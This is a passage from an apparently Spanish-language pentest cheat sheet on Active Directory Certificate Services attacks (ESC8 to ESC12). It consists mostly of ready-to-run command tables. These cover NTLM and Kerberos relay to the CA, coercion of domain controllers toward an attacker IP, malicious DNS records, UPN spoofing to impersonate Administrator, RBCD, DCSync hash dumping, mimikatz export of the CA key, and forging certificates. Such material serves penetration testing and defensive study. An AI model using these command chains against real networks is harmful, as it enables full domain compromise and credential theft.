| Certify_v2.exe request-download --ca <CA_NAME> --id <ID> | Paso 3: Descargar el certificado emitido — ahora contiene el OID inyectado, usable para ESC13 u otros ataques encadenados |
🛈 NOTA El mismo ataque se puede llevar a cabo con Certipy ≥ 4.7 mediante el comando ca y el parámetro -set-extension.
ESC8
NTLM Relay hacia ADCS Web Enrollment (HTTP)
La interfaz Web Enrollment de ADCS (
Condiciones necesarias: Web Enrollment HTTP habilitado + NTLM no bloqueado + sin EPA/channel binding + plantilla enrollable para la cuenta coercionada (
Post-explotación: Con el PFX del DC →
Escenario especial — DNS Record + SPN Serializado: Cuando no es posible hacer coerción SMB directa (por signing, EPA, etc.), se puede registrar un registro DNS malicioso con un SPN serializado (
http://CA/certsrv/certfnsh.asp) acepta autenticación NTLM y por defecto no tiene Extended Protection for Authentication (EPA) ni channel binding. Un atacante puede forzar la autenticación de un equipo privilegiado (DC, servidor) mediante técnicas de coerción (PetitPotam, PrinterBug, Coercer) y reenviar esas credenciales NTLM a la CA para obtener un certificado válido — sin necesidad de credenciales previas.
Condiciones necesarias: Web Enrollment HTTP habilitado + NTLM no bloqueado + sin EPA/channel binding + plantilla enrollable para la cuenta coercionada (
Machine, DomainController, User).
Post-explotación: Con el PFX del DC →
certipy auth → hash NTLM del DC → DCSync (si es DA) o Silver Ticket (con el hash de la cuenta de máquina).
Escenario especial — DNS Record + SPN Serializado: Cuando no es posible hacer coerción SMB directa (por signing, EPA, etc.), se puede registrar un registro DNS malicioso con un SPN serializado (
CredMarshalTargetInfo) que fuerza al DC a generar un AP_REQ Kerberos para sí mismo pero enviarlo a la IP del atacante — combinado con certipy relay hacia HTTPS.
Requisitos ➔
Web Enrollment HTTP habilitado +
Sin EPA / Channel Binding +
NTLM no bloqueado en la CA +
Template DomainController / Machine disponible =
Relay + Coercion simultáneos
Enumeración — Verificar ESC8
| Comando | Descripción |
|---|---|
| certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Detectar ESC8 — buscar Web Enrollment: Enabled + Request Disposition: Issue sin EPA |
| Certify_v1.exe cas Certify_v2.exe enum-cas curl -I https://IP/certsrv | Enumerar endpoints HTTP de AD CS habilitados — muestra URLs de Web Enrollment, CES, CEP y NDES |
| certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA | Listar Certificate Enrollment Service (CES) endpoints via msPKI-Enrollment-Servers |
| nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plus | Verificar métodos de coerción disponibles en el DC — muestra qué protocolos son vulnerables (PetitPotam, PrinterBug, etc.) |
Certipy relay + Coerción — Ataque clásico NTLM
↗ Coercer
| Comando | Descripción |
|---|---|
| certipy relay -target http://<CA_IP>/certsrv/certfnsh.asp -template DomainController | Terminal 1: iniciar el relay hacia la CA web — espera conexión NTLM entrante del DC. Usar -template Machine para equipos no-DC o -template User para usuarios |
| coercer coerce -l <ATTACKER_IP> -t <DC_IP> -u 'user@domain.htb' -p 'Pass' -d domain.htb -v | Terminal 2: forzar autenticación NTLM del DC hacia el relay con Coercer — prueba múltiples métodos automáticamente |
| nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plus -o LISTENER=<ATTACKER_IP> METHOD=PetitPotam/Printerbug/etc | Alternativa de coerción con NetExec — especificar método concreto (PetitPotam, PrinterBug, DFSCoerce, etc.) y listener |
| certipy auth -pfx dc.pfx -dc-ip 10.10.10.10 | Autenticar con el PFX del DC → hash NTLM de la cuenta de máquina + TGT |
| impacket-secretsdump 'DC$@domain.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10 | DCSync con el hash NTLM del DC → dump de todos los hashes del dominio (requiere permisos DA) |
| impacket-ticketer -nthash <nt_hash> -domain-sid <SID> -domain domain.htb -spn <SPN> Administrator | Alternativa: Silver Ticket con el hash NTLM de la cuenta de máquina del DC |
| export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass target.domain.htb | Pass-the-Ticket con el Silver Ticket generado |
ntlmrelayx.py — Alternativa a certipy relay
↗ Impacket
| Comando | Descripción |
|---|---|
| sudo ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' | Si la autenticación forzada procede de un controlador de dominio (ej. CA-DC), se debe utilizar en su lugar la plantilla DomainController.Relay NTLM clásico con ntlmrelayx — captura SMB entrante y lo redirige a la CA web. Alternativa cuando certipy relay falla |
| sudo ntlmrelayx.py -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support --adcs --template 'User' --no-http-server | Variante para usuarios — deshabilitar el servidor HTTP del relay con --no-http-server si hay conflicto de puertos |
RemoteKrbRelay — Alternativa con MAQ > 0
↗ RemoteKrbRelay
| Comando | Descripción |
|---|---|
| nxc ldap <DC_IP> -u user -p 'Pass' -k -M maq | Verificar MAQ (MachineAccountQuota) — si es > 0 se puede crear una cuenta de máquina para el relay |
| RemoteKrbRelay.exe -adcs -template DomainController -victim <DC_FQDN> -target <DC_FQDN> -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 | Automatiza coerción + relay Kerberos → devuelve el certificado PKC12 en Base64. Útil cuando NTLM relay no funciona por signing/EPA |
| echo -ne "<BASE64_CERT>" | base64 -d > cert.p12 | Decodificar el certificado Base64 devuelto por RemoteKrbRelay |
| certipy auth -pfx cert.p12 -dc-ip <DC_IP> -domain domain.htb | Autenticar con el certificado obtenido → hash NTLM + TGT |
DNS Record + SPN Serializado (CredMarshalTargetInfo) — Kerberos Relay
↗ Synacktiv Research
| Comando | Descripción |
|---|---|
| nxc smb <DC_IP> -u user -p 'Pass' -k -M coerce_plus | Verificar métodos de coerción disponibles antes de elegir el vector de ataque |
| bloodyAD -u user -p 'Pass' -d domain.htb -k --host <DC_FQDN> add dnsRecord <DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <ATTACKER_IP> | Registrar DNS malicioso con SPN serializado (CredMarshalTargetInfo) — el blob Base64 (1UWhRC...) fuerza al DC a generar un AP_REQ Kerberos para sí mismo pero enviarlo a la IP del atacante. El blob de 44 chars es la estructura mínima con PackageName=Kerberos y Flags=1 |
| dnstool.py -u 'domain.htb\\user' -p 'Pass' -r '<DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -d <ATTACKER_IP> --action add <DC_FQDN> --tcp | Alternativa con dnstool.py (krbrelayx toolkit) para registrar el DNS malicioso |
| sudo certipy relay -target https://<DC_FQDN>/certsrv/certfnsh.asp -template DomainController | Terminal 1: iniciar relay certipy apuntando a HTTPS — cuando llega el AP_REQ Kerberos del DC lo redirige a la CA |
| nxc smb <DC_FQDN> -u user -p 'Pass' -k -M coerce_plus -o LISTENER=<DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam | Terminal 2: coercionar al DC hacia el registro DNS malicioso — Windows resuelve el nombre, decodifica la estructura marshaled, genera AP_REQ para DC$ y lo manda a nuestra IP |
| bloodyAD -u user -p 'Pass' -d domain.htb -k --host <DC_FQDN> remove dnsRecord <DC_NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA | Cleanup: eliminar el registro DNS malicioso tras el ataque |
| certipy auth -pfx dc.pfx -dc-ip <DC_IP> -domain domain.htb | Autenticar con el PFX del DC obtenido → hash NTLM + TGT |
ESC9
CT_FLAG_NO_SECURITY_EXTENSION — UPN Pivot via GenericWrite
La plantilla tiene el flag
Combinado con GenericWrite/GenericAll sobre una cuenta víctima (cuenta A), el atacante modifica temporalmente su
Campo abusado:
CT_FLAG_NO_SECURITY_EXTENSION (0x80000) en msPKI-Enrollment-Flag, lo que impide que la CA incruste la extensión szOID_NTDS_CA_SECURITY_EXT (SID del usuario) en el certificado emitido. Sin esa extensión, el DC mapea la cuenta autenticada por UPN en lugar de por SID.
Combinado con GenericWrite/GenericAll sobre una cuenta víctima (cuenta A), el atacante modifica temporalmente su
userPrincipalName para que coincida con el Administrator (cuenta B), solicita el certificado como cuenta A — que ahora lleva el UPN del Administrator — y autentica como cuenta B sin conocer su contraseña.
Campo abusado:
msPKI-Enrollment-Flag → CT_FLAG_NO_SECURITY_EXTENSION + mapeo por UPN del DC
Requisitos ➔
CT_FLAG_NO_SECURITY_EXTENSION en la plantilla +
Client Authentication EKU +
GenericWrite / GenericAll / WriteUPN sobre cuenta A +
StrongCertificateBindingEnforcement ≠ 2 +
CertificateMappingMethods incluye UPN flag (0x4) =
UPN pivot + Shadow Credentials
Enumeración — Detectar ESC9
| Comando | Descripción |
|---|---|
| certipy find -u user@domain.htb -p 'Pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Detectar ESC9 — buscar Enrollment Flag: NoSecurityExtension + Client Authentication: True en la plantilla |
| reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc | Verificar StrongCertificateBindingEnforcement — si el valor es 2 el ataque no funciona. Valor 0 o 1 (default) → explotable |
| reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel\ | Verificar CertificateMappingMethods — buscar el flag UPN (0x4) que habilita el mapeo por UPN |
| dacledit.py -action read -dc-ip 10.10.10.10 domain.htb/attacker:Pass -principal attacker -target victim | Verificar permisos sobre la cuenta víctima — confirmar GenericWrite o GenericAll antes de proceder |
| Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -contains "GenericAll" -or $_.ActiveDirectoryRights -contains "GenericWrite") -and $_.SecurityIdentifier -eq $attacker.objectsid} | PowerView: buscar ACEs GenericAll o GenericWrite sobre usuarios — identifica cuentas víctima explotables para ESC9 |
| Certify_v1.exe find /vulnerable Certify_v2.exe enum-templates --filter-vulnerable | Detectar ESC9 desde Windows — buscar NoSecurityExtension en los flags de la plantilla |
Certipy — Flujo completo (Linux)
↗ Certipy Wiki ESC9
| Comando | Descripción |
|---|---|
| certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victim | Obtener hash NTLM de la cuenta víctima vía Shadow Credentials — requiere GenericWrite sobre victim. Si ya se tienen credenciales de victim, omitir este paso |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn Administrator | Modificar el UPN de victim → Administrator (sin @dominio). Esto no viola restricciones porque Administrator@domain.htb sigue siendo el UPN real del Admin |
| certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template <TMPL_ESC9> | Solicitar certificado como victim — el cert llevará UPN = Administrator y sin Object SID (confirmar en el output: "[+] Certificate has no object SID") |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htb | Restaurar UPN de victim a su valor original — imprescindible para que el DC no encuentre dos cuentas con el mismo UPN al autenticar |
| certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10 | Autenticar con el certificado del Administrator — incluir -domain obligatoriamente porque el cert no tiene dominio especificado → hash NTLM + TGT |
Certify + Rubeus + PowerView — Flujo completo (Windows)
↗ Certify
| Comando | Descripción |
|---|---|
| xfreerdp /u:victim /p:'NewPass123!' /d:domain.htb /v:10.10.10.10 /dynamic-resolution | Obtener sesión como victim via RDP — Certify no permite pasar credenciales, necesita sesión activa del usuario |
| Set-DomainUserPassword -Identity victim -AccountPassword $((ConvertTo-SecureString 'Password123!' -AsPlainText -Force)) | Resetear contraseña de victim (si no se tienen sus credenciales) — requiere GenericWrite o ForceChangePassword sobre victim |
| Set-DomainObject victim -Set @{'userPrincipalName'='Administrator@domain.htb'} -Verbose | Modificar UPN de victim apuntando al Administrator vía PowerView |
| .\Certify_v1.exe request /ca:<CA_NAME> /template:<TMPL_ESC9> /altname:Administrator .\Certify_v2.exe request --ca <CA_NAME> --template <TMPL_ESC9> --upn Administrator@domain.htb | Solicitar certificado con SAN = Administrator desde la sesión de victim |
| openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx | Convertir el certificado PEM devuelto por Certify a PFX — necesario para Rubeus |
| Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -Verbose | Restaurar UPN de victim a su valor original |
| .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /getcredentials /nowrap | Obtener TGT + hash NTLM del Administrator con el PFX generado |
bloodyAD — Variante sin Shadow Credentials
↗ bloodyAD
| Comando | Descripción |
|---|---|
| bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'Administrator' | Modificar UPN de victim directamente con bloodyAD — alternativa a certipy account update cuando ya se tienen credenciales de victim y no hace falta Shadow Credentials |
| certipy req -u 'victim@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -dc-host DC.HTB.LOCAL -target WS01/DC01.HTB.LOCAL -ca <CA_NAME> -template <TMPL_ESC9> | Solicitar certificado como victim con credenciales en claro (si se tienen) |
| bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'victim@domain.htb' | Restaurar UPN de victim |
| certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10 | Autenticar como Administrator → hash NTLM + TGT |
ESC10
Weak Certificate Mapping — UPN Pivot via GenericWrite
ESC10 abusa de una configuración débil de mapeo de certificados en el DC. Existen dos variantes según qué clave de registro esté mal configurada:
Case 1:
Case 2:
En ambos casos se requiere GenericWrite/GenericAll sobre una cuenta víctima para modificar su
🛈 Nota: Certipy no detecta ESC10 automáticamente — hay que enumerar las claves de registro manualmente.
↗ ESC9 Vs ESC10 : A pesar de que ambos permiten suplantación de UPN (UPN Spoofing), la vulnerabilidad raíz es diferente
- ESC9 Vulnerabilidad raíz reside en la configuración de la CA (plantilla no tiene OID SID en la extensión de seguridad) corregido en parche
- ESC10 Vulnerabilidad raíz en la configuración del DC (registro no exige mapeo fuerte por SID) corregido con el mismo parche
Case 1:
StrongCertificateBindingEnforcement = 0 bajo HKLM\SYSTEM\CurrentControlSet\Services\Kdc. El DC no exige mapeo fuerte por SID, por lo que autentica por UPN. Flujo idéntico a ESC9 — cualquier plantilla con Client Authentication sirve.
Case 2:
CertificateMappingMethods incluye el bit UPN (0x4) bajo HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel. El servidor usa mapeo UPN en Schannel (LDAPS). Permite comprometer cuentas sin UPN (máquinas, Administrator built-in) y escalar vía RBCD.
En ambos casos se requiere GenericWrite/GenericAll sobre una cuenta víctima para modificar su
userPrincipalName temporalmente.
🛈 Nota: Certipy no detecta ESC10 automáticamente — hay que enumerar las claves de registro manualmente.
↗ ESC9 Vs ESC10 : A pesar de que ambos permiten suplantación de UPN (UPN Spoofing), la vulnerabilidad raíz es diferente
- ESC9 Vulnerabilidad raíz reside en la configuración de la CA (plantilla no tiene OID SID en la extensión de seguridad) corregido en parche
KB5014754 (Mayo 2022)- ESC10 Vulnerabilidad raíz en la configuración del DC (registro no exige mapeo fuerte por SID) corregido con el mismo parche
KB5014754 + StrongCertificateBindingEnforcement = 2
Requisitos ➔
GenericWrite / GenericAll sobre cuenta víctima +
Client Authentication EKU en la plantilla +
StrongCertificateBindingEnforcement = 0 (Case 1) +
CertificateMappingMethods incluye 0x4 (Case 2) +
Cuenta destino sin UPN o con UPN modificable =
UPN pivot + Shadow Credentials + RBCD (Case 2)
Enumeración — Detectar ESC10 manualmente
| Comando | Descripción |
|---|---|
| python3 reg.py domain.htb/'Administrator':'Pass'@10.10.10.10 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc' | Case 1: verificar StrongCertificateBindingEnforcement. Valor 0x0 → completamente vulnerable. Valor 0x1 → parcialmente (Case 2). Valor 0x2 → estricto, no explotable |
| python3 reg.py domain.htb/'Administrator':'Pass'@10.10.10.10 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL' | Case 2: verificar CertificateMappingMethods. Buscar que el bit 0x4 esté activo y el bit 0x10 ausente. Valores vulnerables: 0x4, 0xC, 0x1C, 0x1F |
| reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel | Mismas consultas desde Windows (reg query) — requiere sesión en el DC o derechos de lectura del registro remoto |
| dacledit.py -action read -dc-ip 10.10.10.10 domain.htb/attacker:Pass -principal attacker -target victim | Verificar GenericWrite o GenericAll sobre la cuenta víctima antes de proceder |
| Get-DomainObjectAcl -LDAPFilter "(&(objectClass=user)(objectCategory=person))" -ResolveGUIDs | ? {($_.ActiveDirectoryRights -match "GenericAll|GenericWrite") -and $_.SecurityIdentifier -eq $attacker.objectsid} | PowerView: buscar ACEs GenericWrite/GenericAll sobre usuarios — identifica cuentas víctima explotables |
| certipy account -user victim read -target DC01.domain.htb -u attacker@domain.htb -p Pass | Leer el UPN actual de la víctima antes de modificarlo — imprescindible para restaurarlo correctamente. Requiere Certipy v5+ |
Caso 1 (Linux) — Certipy — Flujo completo StrongCertificateBindingEnforcement = 0
↗ Certipy Wiki ESC10
| Comando | Descripción |
|---|---|
| certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victim | Obtener hash NTLM de victim vía Shadow Credentials — requiere GenericWrite. Omitir si ya se tienen credenciales de victim |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn Administrator | Modificar UPN de victim → Administrator (sin @dominio, para evitar violación de restricción de unicidad). El UPN real de Admin sigue siendo Administrator@domain.htb |
| certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template User | Solicitar certificado como victim usando cualquier plantilla con Client Authentication (ej. User built-in). El cert llevará UPN = Administrator |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htb | Restaurar UPN de victim — imprescindible para que el DC resuelva correctamente el UPN del cert al autenticar |
| certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10 | Autenticar como Administrator → hash NTLM + TGT. Incluir -domain obligatoriamente (el cert no lleva dominio especificado) |
Caso 1 (Windows) — Certify + Rubeus + PowerView
↗ Certify
| Comando | Descripción |
|---|---|
| Set-DomainUserPassword -Identity victim -AccountPassword $((ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)) | Resetear contraseña de victim si no se tienen sus credenciales — requiere GenericWrite o ForceChangePassword |
| Set-DomainObject victim -Set @{'userPrincipalName'='Administrator'} -Verbose | Modificar UPN de victim → Administrator (sin dominio) vía PowerView |
| xfreerdp /u:victim /p:'NewPass123!' /d:domain.htb /v:10.10.10.10 /dynamic-resolution | Obtener sesión RDP como victim — Certify requiere sesión activa del usuario para solicitar certificados |
| .\Certify_v1.exe request /ca:<CA_NAME> /template:User /altname:Administrator .\Certify_v2.exe request --ca <CA_NAME> --template User --upn Administrator@domain.htb | Solicitar certificado con SAN = Administrator desde sesión de victim. v1: flag /altname. v2: flag --upn |
| openssl pkcs12 -in administrator.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out administrator.pfx | Convertir el PEM devuelto por Certify a PFX — necesario para Rubeus |
| Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -Verbose | Restaurar UPN de victim a su valor original |
| .\Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /getcredentials /nowrap | Obtener TGT + hash NTLM del Administrator con el PFX generado |
Caso 2 (Linux) — Certipy Flujo completo CertificateMappingMethods incluye 0x4
↗ Certipy Wiki ESC10
| Comando | Descripción |
|---|---|
| certipy shadow auto -u 'attacker@domain.htb' -p 'Pass' -account victim | Obtener hash NTLM de victim vía Shadow Credentials |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn 'DC01$@domain.htb' | Modificar UPN de victim para que coincida con la cuenta de máquina del DC. Las cuentas de máquina no tienen UPN por defecto y no están protegidas por AdminSDHolder. Administrator suele estar bloqueado por AdminSDHolder + Deny ACEs |
| certipy req -u 'victim@domain.htb' -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <CA_NAME> -template User | Solicitar certificado como victim — el cert llevará UPN = DC01$@domain.htb. Confirmar en el output: "Got certificate with UPN 'DC01$@domain.htb'" |
| certipy account update -u 'attacker@domain.htb' -p 'Pass' -user victim -upn victim@domain.htb | Restaurar UPN de victim antes de autenticar — si sigue teniendo el UPN del DC el cert se resolvería a victim |
| certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -ldap-shell | Autenticar como DC01$ vía Schannel → shell LDAP. Verificar: "Authenticated as: u:DOMAIN\DC01$" |
| # add_computer newcomp newpass123 # set_rbcd DC01$ newcomp$ | Dentro del ldap-shell interactivo crear cuenta de máquina y otorgarle delegación RBCD sobre el DC. Las cuentas de máquina pueden modificar su propio atributo msDS-AllowedToActOnBehalfOfOtherIdentity |
| impacket-getST -spn 'cifs/DC01.domain.htb' -impersonate Administrator -dc-ip 10.10.10.10 domain.htb/'newcomp$':newpass123 | Abusar RBCD para impersonar Administrator — obtener ticket de servicio CIFS para el DC |
| KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass DC01.domain.htb | Conectar al DC usando el TGS de Administrator → acceso como SYSTEM |
Caso 2 (Windows) — Certify + Rubeus + PowerView
↗ Certify
| Comando | Descripción |
|---|---|
| Set-DomainObject victim -Set @{'userPrincipalName'='DC01$@domain.htb'} -Verbose | Modificar UPN de victim para que coincida con la cuenta de máquina del DC vía PowerView |
| xfreerdp /u:victim /p:'Pass' /d:domain.htb /v:10.10.10.10 | Sesión RDP como victim para usar Certify |
| .\Certify_v1.exe request /ca:<CA_NAME> /template:User .\Certify_v2.exe request --ca <CA_NAME> --template User | Solicitar certificado como victim — el cert llevará el UPN de DC01$ |
| openssl pkcs12 -in dc01.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx | Convertir a PFX |
| Set-DomainObject victim -Set @{'userPrincipalName'='victim@domain.htb'} -Verbose | Restaurar UPN de victim |
| .\Rubeus.exe asktgt /user:'DC01$' /certificate:dc01.pfx /getcredentials /nowrap | Obtener TGT como DC01$ — continuar con getST + RBCD para impersonar Administrator |
bloodyAD — Variante sin Shadow Credentials
↗ bloodyAD
| Comando | Descripción |
|---|---|
| bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'Administrator' | Case 1: modificar UPN de victim → Administrator directamente con bloodyAD — alternativa a certipy account update cuando ya se tienen credenciales de victim |
| bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'DC01$@domain.htb' | Case 2: modificar UPN de victim → cuenta de máquina del DC |
| certipy req -u 'victim@domain.htb' -p 'Pass' -dc-ip 10.10.10.10 -ca <CA_NAME> -template User | Solicitar certificado como victim con credenciales en claro (si se tienen). Si no, usar -hashes con el NTLM obtenido vía Shadow Credentials |
| bloodyAD --host dc01.domain.htb -d domain.htb -u 'attacker' -p 'Pass' set object victim userPrincipalName -v 'victim@domain.htb' | Restaurar UPN de victim |
| certipy auth -pfx administrator.pfx -domain domain.htb -dc-ip 10.10.10.10 | Case 1: autenticar como Administrator → hash NTLM + TGT |
| certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 -ldap-shell | Case 2: shell LDAP como DC01$ → RBCD vía set_rbcd + getST para impersonar Administrator |
ESC11
NTLM Relay hacia ICPR (RPC) — Interfaz no HTTP
Vulnerabilidad en AD CS donde la CA no requiere cifrado en solicitudes ICPR (RPC)(
IF_ENFORCEENCRYPTICERTREQUEST = Disabled). Esto permite realizar NTLM Relay hacia RPC (MS-ICPR) y solicitar certificados en nombre de la víctima (ej: Domain Controller) sin necesidad de Web Enrollment (HTTP). . Similar a ESC8 pero hace relay a través de RPC/ICPR en lugar de la interfaz Web Enrollment HTTP. La CA acepta solicitudes de certificado vía RPC (MS-ICPR) sin signing requerido.
Requisitos ➔
IF_ENFORCEENCRYPTICERTREQUEST = Disabled +
Template DomainController disponible +
RPC port 135/445
Detección automática (Certipy)
↗ Certipy
| Comando | Descripción |
|---|---|
| certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -stdout | Enumerar CA — buscar Enforce Encryption for Requests : Disabled + Vulnerabilities: ESC11 |
| certipy-ad find -u 'user@domain.htb' -p 'pass' -dc-ip 10.10.10.10 -vulnerable -stdout | Filtrar solo CAs vulnerables a ESC11 |
Certipy relay + PetitPotam
↗ PetitPotam
| Comando | Descripción |
|---|---|
| certipy-ad relay -target 'rpc://<CA_IP or DOMAIN>' -ca <CA_NAME> -template DomainController | Terminal 1: configurar el relay hacia el endpoint RPC/ICPR de la CA — espera autenticación |
| PetitPotam.py -u 'user' -p 'pass' -d 'domain' <ATTACKER_IP> <DC_IP> | Terminal 2: coerción del DC para que autentique contra el relay — se obtiene el certificado del DC |
| certipy-ad auth -pfx dc.pfx -dc-ip 10.10.10.10 | Tras obtener el certificado, autenticar como DC → DCSync / Silver Ticket |
ntlmrelayx.py (ICPR fork)
↗ sploutchy/impacket
| Comando | Descripción |
|---|---|
| ntlmrelayx.py -t rpc://<CA_IP> -rpc-mode ICPR -icpr-ca-name <CA_NAME> -smb2support | Configurar relay RPC hacia ICPR — compatible con coerción vía PetitPotam o PrinterBug |
| PetitPotam.py -u user -p pass -d domain <ATTACKER_IP> <DC_IP> | Coerción del DC para que autentique contra ntlmrelayx |
Certify + Rubeus + PetitPotam (Windows)
↗ Certify
| Comando | Descripción |
|---|---|
| Certify_v1.exe find /vulnerable /stdout Certify_v2.exe enum-templates --filter-vulnerable --out-file | Enumerar CAs vulnerables a ESC11 desde Windows |
| certipy-ad relay -target 'rpc://<CA_IP>' -ca <CA_NAME> -template DomainController | Relay desde WSL/Linux — Certify no tiene relay nativo |
| PetitPotam.exe -u user -p pass -d domain <ATTACKER_IP> <DC_IP> | Coerción del DC con PetitPotam.exe nativo de Windows |
| Rubeus.exe asktgt /user:'DC01$' /certificate:dc.pfx /getcredentials | Obtener TGT como DC01$ desde el certificado generado |
ESC12
YubiHSM Key Storage Provider — Filtración de clave privada de CA
Vulnerabilidad en AD CS cuando la CA está configurada para almacenar su clave privada en un dispositivo USB externo (ej: YubiHSM2). La contraseña de autenticación del Key Storage Provider se guarda en texto plano en el registro bajo
HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword. Un atacante con acceso shell (incluso bajos privilegios) al servidor CA puede leer esta contraseña y forjar certificados arbitrarios firmados por la CA, permitiendo suplantar cualquier usuario o máquina del dominio.
Requisitos ➔
Acceso shell al servidor CA +
CA con clave privada en YubiHSM (u HSM externo) +
Contraseña en texto plano en registro
Detección manual (Windows)
↗ reg query
| Comando | Descripción |
|---|---|
| reg query HKLM\SOFTWARE\Yubico\YubiHSM /v AuthKeysetPassword | Verificar si existe la clave de autenticación en texto plano |
| reg query HKLM\SOFTWARE\Yubico\YubiHSM /s | Enumerar toda la configuración de YubiHSM |
| certutil -csp "YubiHSM Key Storage Provider" -key -user | Listar claves privadas disponibles en el almacén del usuario |
| certutil -store -user my | Listar certificados en el almacén personal del usuario |
Asociar / Solicitar / Forjar certificado (Windows)
↗ Certify
| Comando | Descripción |
|---|---|
| certipy-ad req -target $ADCS_HOST -dc-ip $DC_IP -u "$USER@$DOMAIN" -p '$PASSWORD' -template User -ca <CA_NAME> | Solicitar certificado de plantilla User (obtenemos user_esc12.pfx) |
| certipy-ad cert -pfx user_esc12.pfx -nokey -out user_esc12.crt | Extraer certificado público (sin clave privada) |
| certipy-ad cert -pfx user_esc12.pfx -nocert -out user_esc12.key | Extraer clave privada del certificado (en formato PEM) |
| certutil -addstore -user my "ca_certificate.cer" | Opcional:Importar el certificado público de la CA al almacén personal del usuario |
| certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my "CA Common Name" | Asociar el certificado importado con la clave privada en el dispositivo YubiHSM |
| certutil -sign /? | Ver opciones de -sign para firmar un CSR (Certificate Signing Request) con la clave de CA |
| #extension.inf (archivo de configuración) [Extensions] 2.5.29.17 = "{text}" _continue_ = "UPN=Administrator@domain.htb&" | Archivo .inf para añadir SAN (UPN del Administrador) |
| certutil -sign ./user_esc12.crt new.crt @extension.inf | Firmar el certificado con la clave de CA → se genera new.crt con el SAN del Administrador |
| openssl req -new -newkey rsa:2048 -keyout attacker.key -out attacker.csr -nodes | Generar un CSR (desde Linux) con el SAN del usuario objetivo (ej: Administrator) |
| certutil -csp "YubiHSM Key Storage Provider" -sign attacker.csr forged.cer | Firmar el CSR con la clave de CA — obtener certificado forjado |
| certipy-ad auth -pfx forged.pfx -dc-ip 10.10.10.10 -ldap-shell | Autenticar con el certificado forjado para obtener DCSync / control del dominio |
Extracción alternativa (mimikatz)
↗ mimikatz
| Comando | Descripción |
|---|---|
| mimikatz# crypto::cng /key /name:"YubiHSM Key Storage Provider" | Listar claves CNG disponibles del proveedor YubiHSM |
| mimikatz# crypto::cng /export /key:"KEY_GUID" /out:"c:\temp\ca_key.bin" | Exportar la clave privada (si es exportable) |
| mimikatz# crypto::cng /sign /key:"KEY_GUID" /in:"attacker.csr" /out:"signed.bin" | Firmar directamente usando la clave sin exportar |
ESC13
OID Group Link Abuse — Política de emisión vinculada a grupo privilegiado
Vulnerabilidad en AD CS cuando una plantilla de certificado tiene una política de emisión (msPKI-Certificate-Policy) vinculada a un grupo mediante
